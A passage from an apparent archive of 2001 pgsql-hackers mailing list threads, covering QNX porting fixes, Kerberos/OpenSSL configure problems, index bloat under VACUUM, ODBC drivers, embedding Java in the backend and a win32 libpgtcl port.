FOR QNX\n\n\n> \"Maurizio\" <maurizio.c@libero.it> writes:\n> > ECHO is defined in the following QNX gcc include files :\n> > termio.h\n> > termios.h\n> > If ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n>\n> Well, my question still stands: why aren't the other four flex outputs\n> also broken? They all use ECHO.\n>\n> In any case, I'd prefer to see this fixed by not including <termios.h>\n> rather than hacking up the .l files. Surely it doesn't need to be\n> included everywhere, as src/include/port/qnx4.h is now causing to\n> happen. In fact, it looks to me like qnx4.h probably includes and\n> defines a lot more than it needs to; would you experiment with stripping\n> it down?\n>\n> > I am also checking for another problem.\n> > I have some errors if I compile pgsql without change the typedef Size in\n> > c.h.\n> > To succesfully compile pgsql I have changed typedef Size in int insteed\n> > size_t.\n>\n> That strikes me as *horribly* dangerous. There is too much code whose\n> behavior might change in unpleasant ways if Size becomes a signed type.\n> Please explain what problems you are seeing that make you think this is\n> a good idea.\n>\n>\n> Andreas, the QNX port is largely your work IIRC. What do you think of\n> these issues? Have you tried 7.1beta on QNX?\n>\n> regards, tom lane\n\n\n",
"msg_date": "Tue, 6 Feb 2001 11:15:57 +0100",
"msg_from": "\"Maurizio\" <maurizio.c@libero.it>",
"msg_from_op": true,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "Hi,\nI have deleted the include of termios.h in include/port/qnx4.h.\nThen I recompiled pgsql and I have compiled a program with ecpg.\n\nAll seem to work right.\n\nThanks\nMaurizio\n\n.\n----- Original Message -----\nFrom: \"Tom Lane\" <tgl@sss.pgh.pa.us>\nTo: \"Maurizio\" <maurizio.c@libero.it>\nCc: <pgsql-hackers@postgresql.org>; \"Bruce Momjian\"\n<pgman@candle.pha.pa.us>; \"Kardos, Dr. Andreas\" <kardos@repas-aeg.de>\nSent: Tuesday, February 06, 2001 4:08 AM\nSubject: Re: [HACKERS] 7.1 beta 3 CHANGES FOR QNX\n\n\n> \"Maurizio\" <maurizio.c@libero.it> writes:\n> > ECHO is defined in the following QNX gcc include files :\n> > termio.h\n> > termios.h\n> > If ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n>\n> Well, my question still stands: why aren't the other four flex outputs\n> also broken? They all use ECHO.\n>\n> In any case, I'd prefer to see this fixed by not including <termios.h>\n> rather than hacking up the .l files. Surely it doesn't need to be\n> included everywhere, as src/include/port/qnx4.h is now causing to\n> happen. In fact, it looks to me like qnx4.h probably includes and\n> defines a lot more than it needs to; would you experiment with stripping\n> it down?\n>\n> > I am also checking for another problem.\n> > I have some errors if I compile pgsql without change the typedef Size in\n> > c.h.\n> > To succesfully compile pgsql I have changed typedef Size in int insteed\n> > size_t.\n>\n> That strikes me as *horribly* dangerous. There is too much code whose\n> behavior might change in unpleasant ways if Size becomes a signed type.\n> Please explain what problems you are seeing that make you think this is\n> a good idea.\n>\n>\n> Andreas, the QNX port is largely your work IIRC. What do you think of\n> these issues? Have you tried 7.1beta on QNX?\n>\n> regards, tom lane\n\n",
"msg_date": "Fri, 9 Feb 2001 15:03:23 +0100",
"msg_from": "\"Maurizio\" <maurizio.c@libero.it>",
"msg_from_op": true,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX "
},
{
"msg_contents": "OK, I have removed the termios.h, and thc ECHO hack from pgc.l.\n\n[ Charset ISO-8859-1 unsupported, converting... ]\n> Hi,\n> I have deleted the include of termios.h in include/port/qnx4.h.\n> Then I recompiled pgsql and I have compiled a program with ecpg.\n> \n> All seem to work right.\n> \n> Thanks\n> Maurizio\n> \n> .\n> ----- Original Message -----\n> From: \"Tom Lane\" <tgl@sss.pgh.pa.us>\n> To: \"Maurizio\" <maurizio.c@libero.it>\n> Cc: <pgsql-hackers@postgresql.org>; \"Bruce Momjian\"\n> <pgman@candle.pha.pa.us>; \"Kardos, Dr. Andreas\" <kardos@repas-aeg.de>\n> Sent: Tuesday, February 06, 2001 4:08 AM\n> Subject: Re: [HACKERS] 7.1 beta 3 CHANGES FOR QNX\n> \n> \n> > \"Maurizio\" <maurizio.c@libero.it> writes:\n> > > ECHO is defined in the following QNX gcc include files :\n> > > termio.h\n> > > termios.h\n> > > If ECHO was not redefined in pgc.l you can't compile in embedded SQL C.\n> >\n> > Well, my question still stands: why aren't the other four flex outputs\n> > also broken? They all use ECHO.\n> >\n> > In any case, I'd prefer to see this fixed by not including <termios.h>\n> > rather than hacking up the .l files. Surely it doesn't need to be\n> > included everywhere, as src/include/port/qnx4.h is now causing to\n> > happen. In fact, it looks to me like qnx4.h probably includes and\n> > defines a lot more than it needs to; would you experiment with stripping\n> > it down?\n> >\n> > > I am also checking for another problem.\n> > > I have some errors if I compile pgsql without change the typedef Size in\n> > > c.h.\n> > > To succesfully compile pgsql I have changed typedef Size in int insteed\n> > > size_t.\n> >\n> > That strikes me as *horribly* dangerous. There is too much code whose\n> > behavior might change in unpleasant ways if Size becomes a signed type.\n> > Please explain what problems you are seeing that make you think this is\n> > a good idea.\n> >\n> >\n> > Andreas, the QNX port is largely your work IIRC. What do you think of\n> > these issues? Have you tried 7.1beta on QNX?\n> >\n> > regards, tom lane\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 9 Feb 2001 10:14:12 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: 7.1 beta 3 CHANGES FOR QNX"
}
] |
[
{
"msg_contents": "Hi,\n\n I encounterd some problems when compiling 7.1beta4 with options\n--with-krb4 and (--with-openssl --with-python). Actual command\nline of configuration is the followings.\n\n--\n ./configure --enable-multibyte --with-tcl \\\n --with-tclconfig=/usr/local/lib --with-tkconfig=/usr/local/lib \\\n --with-krb4=/usr/athena --with-openssl --enable-odbc --with-python\n--\n\n They are easy to be fixed after run configure, but I couldn't \nfind a way to fix them basicaly.\n\n\n(1) KTH-KRB4(Kerberos4) require -lresolve to configure.\n\n$ diff configure~ configure\n4315c4315\n< LIBS=\"-lkrb $LIBS\"\n---\n> LIBS=\"-lkrb -lresolv $LIBS\"\n4349c4349\n< LIBS=\"-lkrb $LIBS\"\n---\n> LIBS=\"-lkrb -lresolv $LIBS\"\n\n(2) No OpenSSL library path in generated Makefile in\n src/interfaces/python. -L/usr/local/ssl/lib must be\n added by hand.\n\ndiff src/interfaces/python/Makefile~ src/interfaces/python/Makefile\n327c327\n< _pgmodule$(SO): pgmodule.o; $(LDSHARED) pgmodule.o -L../../../src/interfaces/libpq -lpq -lssl -lcrypto -lkrb -lresolv -ldes -lz -lcrypt -lnsl -ldl -lm -lbsd -lreadline -ltermcap -lncurses -o _pgmodule$(SO)\n---\n> _pgmodule$(SO): pgmodule.o; $(LDSHARED) pgmodule.o -L../../../src/interfaces/libpq -lpq -L/usr/local/ssl/lib -lssl -lcrypto -L/usr/athena/lib -lkrb -lresolv -ldes -lz -lcrypt -lnsl -ldl -lm -lbsd -lreadline -ltermcap -lncurses -o _pgmodule$(SO)\n\n Farthermore, the newest version of PyGreSQL is 3.1 instead of\n2.5.\n\n--\n Jun Kuwamura\nrC Cm\n ^\n ~\n\n",
"msg_date": "Fri, 2 Feb 2001 12:03:14 +0000 ( )",
"msg_from": "Jun Kuwamura <juk@rccm.co.jp>",
"msg_from_op": true,
"msg_subject": "configure problem with krb4 and ssl when compiling 7.1beta4"
},
{
"msg_contents": "On Fri, Feb 02, 2001 at 12:03:14PM +0000, Jun Kuwamura wrote:\n> Furthermore, the newest version of PyGreSQL is 3.1 instead of 2.5.\n\nIs this on the TODO-7.1 list?\n\nNathan Myers\nncm@zembu.com\n",
"msg_date": "Fri, 2 Feb 2001 08:34:18 -0800",
"msg_from": "ncm@zembu.com (Nathan Myers)",
"msg_from_op": false,
"msg_subject": "Re: configure problem with krb4 and ssl when compiling 7.1beta4"
},
{
"msg_contents": "I have updated the CVS copy of python to show the proper version. We\nhad 3.1, but the 3.1 tarball called it 2.5 in README.\n\n> On Fri, Feb 02, 2001 at 12:03:14PM +0000, Jun Kuwamura wrote:\n> > Furthermore, the newest version of PyGreSQL is 3.1 instead of 2.5.\n> \n> Is this on the TODO-7.1 list?\n> \n> Nathan Myers\n> ncm@zembu.com\n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 2 Feb 2001 13:18:45 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: configure problem with krb4 and ssl when compiling 7.1beta4"
},
{
"msg_contents": "Jun Kuwamura writes:\n\n> (1) KTH-KRB4(Kerberos4) require -lresolve to configure.\n\nExact name of the symbol required?\n\n> (2) No OpenSSL library path in generated Makefile in\n> src/interfaces/python. -L/usr/local/ssl/lib must be\n> added by hand.\n\nWill fix that.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sat, 3 Feb 2001 17:39:18 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: configure problem with krb4 and ssl when compiling\n 7.1beta4"
},
{
"msg_contents": "On Sat, 3 Feb 2001, Peter Eisentraut wrote:\n\n> Jun Kuwamura writes:\n> \n> > (1) KTH-KRB4(Kerberos4) require -lresolve to configure.\n> \n> Exact name of the symbol required?\n\ngcc testkrb.c -L/usr/athena/lib -lkrb -ldes 2>&1 \\\n\t| grep undef |cut -f5 -d' ' | uniq \n`dn_expand'\n`res_search'\n\n--\n Jun Kuwamura\nrC Cm\n ^\n ~\n\n",
"msg_date": "Sun, 4 Feb 2001 12:19:57 +0000 ( )",
"msg_from": "Jun Kuwamura <juk@rccm.co.jp>",
"msg_from_op": true,
"msg_subject": "Re: configure problem with krb4 and ssl when compiling 7.1beta4"
}
] |
[
{
"msg_contents": "I wrote a patch to add cursor support to PL/pgSQL. I sent it to\npgsql-patches earlier, and Bruce said he would consider it after the\n7.1 release.\n\nI would be interested in getting feedback on it, so for now I have put\nthe patch up on the web:\n http://www.airs.com/ian/pgsql-cursor.html\n\nIf you are interested in using cursors in PL/pgSQL, please take a look\nat the patch. Thanks.\n\nIan\n",
"msg_date": "02 Feb 2001 10:22:55 -0800",
"msg_from": "Ian Lance Taylor <ian@airs.com>",
"msg_from_op": true,
"msg_subject": "Patch to add cursor support to PL/pgSQL"
}
] |
[
{
"msg_contents": "> After several weeks our idicies grow very large (in one case to\n> 4-5 gigabytes) After droppping and recreating the indecies they\n> shrink back to something more reasonable (500megs same case).\n> \n> We are currently using Vadim's vacuum patches for VLAZY and MMNB, \n> against 7.0.3. We are using a LAZY vacuum on these tables\n> \n> However a normal (non-lazy) vacuum doesn't shrink the index, the\n> only thing that helps reduce the size is dropping and recreating.\n> \n> Is this a bug in 7.0.3? A possible bug in Vadim's patches? Or is\n> this somewhat expected behavior that we have to cope with?\n\nWhen index is created its pages are filled in full => any insert\ninto such pages results in page split - ie in additional page.\nSo, it's very easy to get 4Gb from 500Mb.\n\nVacuum was never able to shrink indices - it just removes dead index\ntuples and so allows to re-use space ... if you'll insert the same\nkeys.\n\nTo know does VLAZY work properly or not I would need in vacuum debug\nmessages. Did you run vacuum with verbose option or do you have\npostmaster' logs? With LAZY vacuum writes messages like\n\nIndex _name_: deleted XXX unfound YYY\n\nYYY supposed to be 0...\n\nVadim\n",
"msg_date": "Fri, 2 Feb 2001 10:38:19 -0800 ",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Index grows huge, possible leakage?"
},
{
"msg_contents": "* Mikheev, Vadim <vmikheev@SECTORBASE.COM> [010202 10:39] wrote:\n> > After several weeks our idicies grow very large (in one case to\n> > 4-5 gigabytes) After droppping and recreating the indecies they\n> > shrink back to something more reasonable (500megs same case).\n> > \n> > We are currently using Vadim's vacuum patches for VLAZY and MMNB, \n> > against 7.0.3. We are using a LAZY vacuum on these tables\n> > \n> > However a normal (non-lazy) vacuum doesn't shrink the index, the\n> > only thing that helps reduce the size is dropping and recreating.\n> > \n> > Is this a bug in 7.0.3? A possible bug in Vadim's patches? Or is\n> > this somewhat expected behavior that we have to cope with?\n> \n> When index is created its pages are filled in full => any insert\n> into such pages results in page split - ie in additional page.\n> So, it's very easy to get 4Gb from 500Mb.\n\nWell that certainly stinks. :(\n\n> Vacuum was never able to shrink indices - it just removes dead index\n> tuples and so allows to re-use space ... if you'll insert the same\n> keys.\n\nThis doesn't make sense to me, seriously, if the table is locked\nduring a normal vacuum (not VLAZY), why not have vaccum make a\nnew index by copying valid index entries into a new index instead\nof just vacating slots that aren't used?\n\n> To know does VLAZY work properly or not I would need in vacuum debug\n> messages. Did you run vacuum with verbose option or do you have\n> postmaster' logs? With LAZY vacuum writes messages like\n> \n> Index _name_: deleted XXX unfound YYY\n> \n> YYY supposed to be 0...\n\nWith what you explained (indecies normally growing) I don't think\nVLAZY is the problem here.\n\n-- \n-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]\n\"I have the heart of a child; I keep it in a jar on my desk.\"\n",
"msg_date": "Mon, 5 Feb 2001 12:52:05 -0800",
"msg_from": "\"'Alfred Perlstein'\" <bright@wintelcom.net>",
"msg_from_op": false,
"msg_subject": "Re: RE: Index grows huge, possible leakage?"
}
] |
[
{
"msg_contents": "What PostgreSQL ODBC driver should I use on Windows NT with the latest\nversion of PostgreSQL from CVS?\n\nI had been using psqlodbc.dll version 6.50.0000 by Insight\nDistribution System, as made available on ftp.postgresql.org in the\n'latest' folder. That worked OK with version 7.0.3 of PostgreSQL, and\ndoes pretty well with the head CVS version too. But... I'm using ODBC\nconnections with Zope, and Zope was able to display table schemas when\nconnected to PG 7.0.3. However, it doesn't display any schema\ninformation when using the same ODBC driver but connected to the\nlatest/head version of PG. This makes me think that the 6.50 ODBC\ndriver is not a good match to the latest version of PG.\n\nSo I ran 'configure --with-odbc' when building PG from source,\ncreating a new psqlodbc.dll file. But when I replace my\n%systemroot%/system32/psqlodbc.dll file (the version 6.50 one) with\nthis new version, nothing about ODBC to PG works right anymore.\nAttempting to use the driver to create a new DSN gives the message\n\"The setup routines for the PostgreSQL ODBC driver could not be\naccessed. Please reinstall the driver.\" Maybe I need to do something\nmore to install it correctly, but I couldn't find any information\nabout how to do that. Can someone tell me how to install this latest\nversion of the ODBC driver?\n\n-- \nFred Yankowski fred@OntoSys.com tel: +1.630.879.1312\nPrincipal Consultant www.OntoSys.com fax: +1.630.879.1370\nOntoSys, Inc 38W242 Deerpath Rd, Batavia, IL 60510, USA\n",
"msg_date": "Fri, 2 Feb 2001 13:25:02 -0600",
"msg_from": "Fred Yankowski <fred@ontosys.com>",
"msg_from_op": true,
"msg_subject": "best windows ODBC driver for HEAD CVS version?"
}
] |
[
{
"msg_contents": "greetings, group! :)\n\n i have a question about the TODO list and could not\nfind an answer in any of the list archives. i am very\nnew to SQL and even newer to pgsql, so my ideas of how\nthings work is still a bit fuzzy. i am currently\nworking on a small e-commerce type website which is\nhopefully going to use postgresql as the backend\ndatabase. the coding is mostly going to involve java.\n\n for the sake of secure and efficient design, i was\nhoping to implement the java code to be as much on the\nserver-side as possible. as you can tell, the\nvagueness of the item in the TODO list here worries me\nbecause i'm not sure how it will affect my project.\n\n the implementation is projected to be running on a\nlinux box at the moment, but may end up on another\nunix in the future.\n\n could someone please clarify what \"Allow Java\nserver-side programming\" actually means? what are the\nlimitations of using java and jdbc with pgsql?\n\n thanks in andvance.\n\ncheers,\n twkonefal\n\n\n=====\nhttp://ca.geocities.com/twkonefal\n\nbe careful of how you play with your cat: http://www.delphion.com/details?pn=US05443036__\n\n_______________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.ca address at http://mail.yahoo.ca\n",
"msg_date": "Fri, 2 Feb 2001 14:40:49 -0500 (EST)",
"msg_from": "tomasz konefal <twkonefal@yahoo.ca>",
"msg_from_op": true,
"msg_subject": "TODO list: Allow Java server-side programming"
},
{
"msg_contents": "On Fri, 2 Feb 2001, tomasz konefal wrote:\n\n> could someone please clarify what \"Allow Java\n> server-side programming\" actually means? what are the\n> limitations of using java and jdbc with pgsql?\n\nIt means to embed Java interpreter inside postgres, and allow writing\nstored procedures and triggers in Java.\n\n",
"msg_date": "Fri, 2 Feb 2001 14:57:28 -0500 (EST)",
"msg_from": "Alex Pilosov <alex@pilosoft.com>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "At 14:57 02/02/01 -0500, Alex Pilosov wrote:\n>On Fri, 2 Feb 2001, tomasz konefal wrote:\n>\n> > could someone please clarify what \"Allow Java\n> > server-side programming\" actually means? what are the\n> > limitations of using java and jdbc with pgsql?\n>\n>It means to embed Java interpreter inside postgres, and allow writing\n>stored procedures and triggers in Java.\n\nThats correct. Basically you are talking of something like PL/Java. The \nJava side would be simple, but its linking the JVM to the backend that's \nthe problem.\n\nIt's been a while since I delved into the backend, but unless it's changed \nfrom fork() to threading, I don't really see this happening, unless someone \nwho knows C that well knows of a portable way of communicating between two \nprocesses - other than RMI. If that could be solved, then you could use JNI \nto interface the JVM.\n\nI know some people think this would slow the backend down, but it's only \nthe instanciation of the JVM thats slow, hence the other reason fork() is \nholding this back. Ideally you would want the JVM to be running with \nPostMaster, and then each backend can then use the JVM as and when necessary.\n\nObviously you wouldn't want a JVM in every installation, but there are a \nlot of good reasons to have this capability. For example, as part of the \ncourse I did this week, we used Tomcat (Servlet/JSP/Web server). Now \nthere's no reason why Tomcat could run within the same JVM. JBoss is \nanother good example (EJB Server). The JBoss team have actually got Tomcat \nto run within the same JVM. Doesn't hinder performance at all, but does \nreduce the memory footprint.\n\nThis is a good future thing to look into (why not for 8.0 ;-) ). If we \ncould find an _optional_ way of hooking the backend direct into the JVM, we \ncould get PostgreSQL into a lot of new areas. It also would make things \nlike CORBA etc a doddle.\n\nPS: I'm writing down notes of the course to go onto the JDBC web site this \nweekend, so there's some nice things for EJB, RMI, Corba etc.\n\nMore later, Peter\n\n",
"msg_date": "Sat, 03 Feb 2001 10:46:24 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "Peter Mount writes:\n\n> Thats correct. Basically you are talking of something like PL/Java. The\n> Java side would be simple, but its linking the JVM to the backend that's\n> the problem.\n\nI've tried that recently, here's how it looks as far as Linux JVMs go:\n\n* Kaffe has a very polluted name space. Calls to its own functions get\nresolved to PostgreSQL, and vice versa. Crash and burn result. The Kaffe\nfolks have admitted that this should be fixed but I didn't look farther\nyet.\n\n* The Sun/Blackdown JVM didn't work at all (not even 'java -version')\nuntil I upgraded my libc. Then a simple test run crashes with an \"error\nexternal to JVM\"; at first it looked like a segfault when referencing a\nstring constant. In gdb I saw myself faced with about 10 threads running\nwhen nothing was going on yet, at which point I was too exhausted to\nproceed.\n\n* IBM's offering didn't work at all. I don't recall the problem anymore\nbut I think it didn't even link correctly.\n\nSo currently I don't see how this could become a mainstream project, let\nalone across platforms.\n\n> I know some people think this would slow the backend down, but it's only\n> the instanciation of the JVM thats slow, hence the other reason fork() is\n> holding this back. Ideally you would want the JVM to be running with\n> PostMaster, and then each backend can then use the JVM as and when necessary.\n\nBut how do the other languages cope? Starting up a new Perl for each\nbackend can't be so cheap either.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sat, 3 Feb 2001 17:56:33 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "On Sat, 3 Feb 2001, Peter Mount wrote:\n\n> It's been a while since I delved into the backend, but unless it's\n> changed from fork() to threading, I don't really see this happening,\n> unless someone who knows C that well knows of a portable way of\n> communicating between two processes - other than RMI. If that could be\n> solved, then you could use JNI to interface the JVM.\nThere are many ways one can do this:\na) each backend will have a JVM linked in (shared object). This is the\nway perl/tcl/ruby is embedded, and it works pretty nice. But, Java\n['s memory requirement] sucks, therefore, this may not be the optimal\nway.\n\n> I know some people think this would slow the backend down, but it's\n> only the instanciation of the JVM thats slow, hence the other reason\n> fork() is holding this back. Ideally you would want the JVM to be\n> running with PostMaster, and then each backend can then use the JVM as\n> and when necessary.\nb) since JVM is threaded, it may be more efficient to have a dedicated\nprocess running JVM, and accepting some sort of IPC connections from\npostgres processes. The biggest problem here is SPI, there aren't a good\nway for that JVM to talk back to database.\n\nc) temporarily, to have quick working code, you can reach java using hacks\nusing programming languages already built into postgres. Both TCL (tcl\nblend) and Perl (JPL and another hack which name escapes me) are able to\nexecute java code. SPI is possible, I think both of these bindings are\ntwo-way (you can go perl-java-perl-java). Might be worth a quick try?\n-alex\n \n\n",
"msg_date": "Sat, 3 Feb 2001 12:36:01 -0500 (EST)",
"msg_from": "Alex Pilosov <alex@pilosoft.com>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "Peter Mount wrote:\n> \n> At 14:57 02/02/01 -0500, Alex Pilosov wrote:\n> >On Fri, 2 Feb 2001, tomasz konefal wrote:\n> >\n> > > could someone please clarify what \"Allow Java\n> > > server-side programming\" actually means? what are the\n> > > limitations of using java and jdbc with pgsql?\n> >\n> >It means to embed Java interpreter inside postgres, and allow writing\n> >stored procedures and triggers in Java.\n> \n> Thats correct. Basically you are talking of something like PL/Java. The\n> Java side would be simple, but its linking the JVM to the backend that's\n> the problem.\n> \n> It's been a while since I delved into the backend, but unless it's changed\n> from fork() to threading,\n\nSomeone posted here recently his port/tweaks of backend so that it used \nthreads instead of fork(). IIRC it was done to be used inside a java \nclient in an embedded system.\n\n----------------\nHannu\n",
"msg_date": "Sun, 04 Feb 2001 11:18:09 +0200",
"msg_from": "Hannu Krosing <hannu@tm.ee>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "At 11:18 04/02/01 +0200, Hannu Krosing wrote:\n>Peter Mount wrote:\n\n[snip]\n\n> > It's been a while since I delved into the backend, but unless it's changed\n> > from fork() to threading,\n>\n>Someone posted here recently his port/tweaks of backend so that it used\n>threads instead of fork(). IIRC it was done to be used inside a java\n>client in an embedded system.\n\nWith the sheer amount of mail, I probably missed it (unless the subject has \nJDBC in it I tend at times to skip).\n\nPeter\n\n\n>----------------\n>Hannu\n\n",
"msg_date": "Sun, 04 Feb 2001 11:49:27 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "At 17:56 03/02/01 +0100, Peter Eisentraut wrote:\n>Peter Mount writes:\n>\n> > Thats correct. Basically you are talking of something like PL/Java. The\n> > Java side would be simple, but its linking the JVM to the backend that's\n> > the problem.\n>\n>I've tried that recently, here's how it looks as far as Linux JVMs go:\n\n[snip]\n\n\n>So currently I don't see how this could become a mainstream project, let\n>alone across platforms.\n\nI don't think it would be, but it would be a good side-project. Over time \nthe various JVM's should become better to interface with.\n\n\n> > I know some people think this would slow the backend down, but it's only\n> > the instanciation of the JVM thats slow, hence the other reason fork() is\n> > holding this back. Ideally you would want the JVM to be running with\n> > PostMaster, and then each backend can then use the JVM as and when \n> necessary.\n>\n>But how do the other languages cope? Starting up a new Perl for each\n>backend can't be so cheap either.\n\nBut a lot cheaper than Java.\n\nPeter\n\n",
"msg_date": "Sun, 04 Feb 2001 11:51:21 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "At 12:36 03/02/01 -0500, Alex Pilosov wrote:\n>On Sat, 3 Feb 2001, Peter Mount wrote:\n\n[snip]\n\n\n> > I know some people think this would slow the backend down, but it's\n> > only the instanciation of the JVM thats slow, hence the other reason\n> > fork() is holding this back. Ideally you would want the JVM to be\n> > running with PostMaster, and then each backend can then use the JVM as\n> > and when necessary.\n>b) since JVM is threaded, it may be more efficient to have a dedicated\n>process running JVM, and accepting some sort of IPC connections from\n>postgres processes. The biggest problem here is SPI, there aren't a good\n>way for that JVM to talk back to database.\n\nThat was my other idea, but it is the IPC thats problematical. You would \nstill need to do some native api to implement some messaging system between \nthe two.\n\nHowever, at the other extreme there is RPC, which is possible now, but \nwould be a lot slower.\n\n\n>c) temporarily, to have quick working code, you can reach java using hacks\n>using programming languages already built into postgres. Both TCL (tcl\n>blend) and Perl (JPL and another hack which name escapes me) are able to\n>execute java code. SPI is possible, I think both of these bindings are\n>two-way (you can go perl-java-perl-java). Might be worth a quick try?\n\nMight be one way to go...\n\nPeter\n\n>-alex\n>\n\n",
"msg_date": "Sun, 04 Feb 2001 11:54:20 +0000",
"msg_from": "Peter Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
},
{
"msg_contents": "> At 11:18 04/02/01 +0200, Hannu Krosing wrote:\n> >Peter Mount wrote:\n> \n> [snip]\n> \n> > > It's been a while since I delved into the backend, but unless it's changed\n> > > from fork() to threading,\n> >\n> >Someone posted here recently his port/tweaks of backend so that it used\n> >threads instead of fork(). IIRC it was done to be used inside a java\n> >client in an embedded system.\n> \n> With the sheer amount of mail, I probably missed it (unless the subject has \n> JDBC in it I tend at times to skip).\n\n\tSee pgsql/doc/TODO.detail/thread\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sun, 4 Feb 2001 12:41:05 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: TODO list: Allow Java server-side programming"
}
] |
[
{
"msg_contents": "Hi All,\n\nThe setup.py file in PyGreSQL does not work with newer distutils (at\nleast not for the distutils in Python 2.0). The new versions of\ndistutils require you to use an instance of a new Python class called\nExtension to configure the compiled extensions. I have attached a\nmodification of the setup.py script which works on my system (a Linux\nsystem with Python 2.0, PyGreSQL 3.1, and PostgreSQL 7.1 December CVS). \nAlthough I have hard-wired the location of my pgsql include and lib\ndirectories, it is pretty obvious what has to be changed.\n\nBernie",
"msg_date": "Fri, 02 Feb 2001 22:19:49 -0500",
"msg_from": "Bernard Frankpitt <frankpit@erols.com>",
"msg_from_op": true,
"msg_subject": "PyGreSQL and Distutils"
}
] |
[
{
"msg_contents": "It works! Our production controlling system seems to work with\n7.1beta4. In addition, I solved the conversion function problem which was\ndescribed in one of my last mails. The problem was I used malloc() instead\nof palloc(). Thanks to all of you who developed 7.1 and helped solving the\nconversion function problem.\n\nRegards, Zoltan\n\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Sat, 3 Feb 2001 13:58:26 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "7.1beta4 works well"
}
] |
[
{
"msg_contents": "Just a reminder that I assume all Hackers readers are subscribed to\neither the PostgreSQL announce or general lists.\n\nI just posted something to those lists about this URL:\n\n\thttp://candle.pha.pa.us/oreilly/\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sun, 4 Feb 2001 00:55:30 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Reminder about Announce/General lists"
},
{
"msg_contents": "\nI wanted to get pgaccess working under win32 with MSVC 6. It relies on the \nlibpgtcl library, which didn't have a win32.mak. This turned out to be (I \nthink) because Tcl_CreateFileChannel function isn't portable to win32 systems.\n\nSo I grabbed the relevant files from CVS (no tags), and hacked about a bit \nand now I have a mostly working libpgtcl.dll. The problem is that the \nimplementation of pg_listen relies on Tcl_CreateFileChannel, so NOTIFY's \naren't picked up under win32 until, say, a pg_exec is issued. I had a quick \nlook at finding out how to get incoming data on the socket to trigger Tcl \nevents, and it looks like it might be possible to build a Tcl event source \nto fetch the NOTIFY events from the backed. That however is not something I \ncould do in a day or two.\n\nSo now pgaccess works fine - it doesn't use pg_listen.\n\nThe other change I made was to move dll exports from the .def file into the \nsource code using declspec. A clunky system but IMHO slightly easier to \nwork with than the .def files. I found that the Tcl, libpq, and libpgtcl \nsource code all use the DLLIMPORT define. This causes some annoying \nconflicts, so I changed each library to have it's own declspec define \n(XXX_STORAGE_CLASS), and each library now needs a define ( \nBUILDING_XXX_DLL) to indicate whether you're building the dll (defined) or \nimporting it (undefined). XXX_STORAGE_CLASS would be defined to '' for \nbuild environments that do shared libraries properly.\n\nThis means that for each dll export, for example in \npgsql/src/interfaces/libpq/libpq-fe.h I have something like\n\n\tPQ_STORAGE_CLASS extern PGconn *PQconnectStart(const char *conninfo);\n\ninstead of\n\n\textern PGconn *PQconnectStart(const char *conninfo);\n\nThere were one or two other minor changes like defining NO_GDI in strategic \nplaces to prevent a 'macro ERROR redefined' warning, and adding some \ndefines to 